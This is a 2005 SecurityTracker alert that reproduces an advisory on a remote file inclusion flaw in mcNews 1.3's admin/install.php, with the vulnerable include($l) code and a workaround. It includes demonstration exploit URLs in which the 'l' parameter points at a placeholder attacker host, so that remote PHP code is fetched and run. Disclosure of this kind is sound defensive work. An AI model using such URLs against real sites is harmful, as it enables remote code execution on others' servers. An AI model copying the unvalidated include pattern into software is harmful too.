mcNews 'install.php' Include File Flaw Lets Remote Users Execute Arbitrary Commands
|
|
SecurityTracker Alert ID: 1013469
|
|
SecurityTracker URL: http://securitytracker.com/id?1013469
|
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Mar 18 2005
|
Impact: Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 1.3 and prior versions
|
Description: An include file vulnerability was reported in mcNews in 'install.php'. A remote user can execute arbitrary commands on the target system.
The 'admin/install.php' script does not properly validate user-supplied input in the 'l' parameter. A remote user can request a
URL with a specially crafted 'l' parameter to cause arbitrary PHP code from a remote site to be included and executed by the target
system. The PHP code, including operating system commands, will run with the privileges of the target web service.
A demonstration
exploit URL is provided:
http://[target]/path/to/mcnews/admin/install.php?l=http://[attacker]/source
Jonathan Whiteley (Vukodlak)
reported this vulnerability.
|
Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution: No vendor solution was available at the time of this entry.
As a workaround, you can remove 'install.php' after installation.
|
Vendor URL: www.phpforums.net/index.php?dir=dld (Links to External Site)
|
Cause: Input validation error, State error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: Jonathan Whiteley <jon.whiteley@gmail.com>
|
Message History:
None.
|
Source Message Contents
|
Date: Thu, 17 Mar 2005 00:40:21 +0000
From: Jonathan Whiteley <jon.whiteley@gmail.com>
Subject: PHP mcNews arbitrary file inclusion
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
BadRoot Security Advisory 2005-#0x01
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Thu Mar 17 2005 - 00:46 am GMT +1
Product: mcNews <=1.3 (successfully exploited on 1.3)
Vendor: http://www.phpforums.net/index.php?dir=dld (Home Page)
Type: Arbitrary file inclusion
Author: Jonathan Whiteley (Vukodlak)
Product description:
-----------------------------------
A News Management script.
Vulnerable code:
-----------------------------------
--> admin/install.php
...
33 if ($table==1)
34 {
35 include($l);
36 echo '<a href="index.php">'.$lGoAdmin.'</a>';
37 }
...
Impact:
-----------------------------------
Anyone can inject PHP code by calling:
http://vuln-host.com/path/to/mcnews/admin/install.php?l=http://some.php/source
Solution:
-----------------------------------
Remove install.php, it's futile after first installation.
Contact:
-----------------------------------
IRC: irc.us.azzurra.org - #badroot - Vukodlak
E-Mail: jon.whiteley@gmail.com
HP: http://www.badroot.org
Cheers
PS: Thanks to Arak for aid ;)
|
|
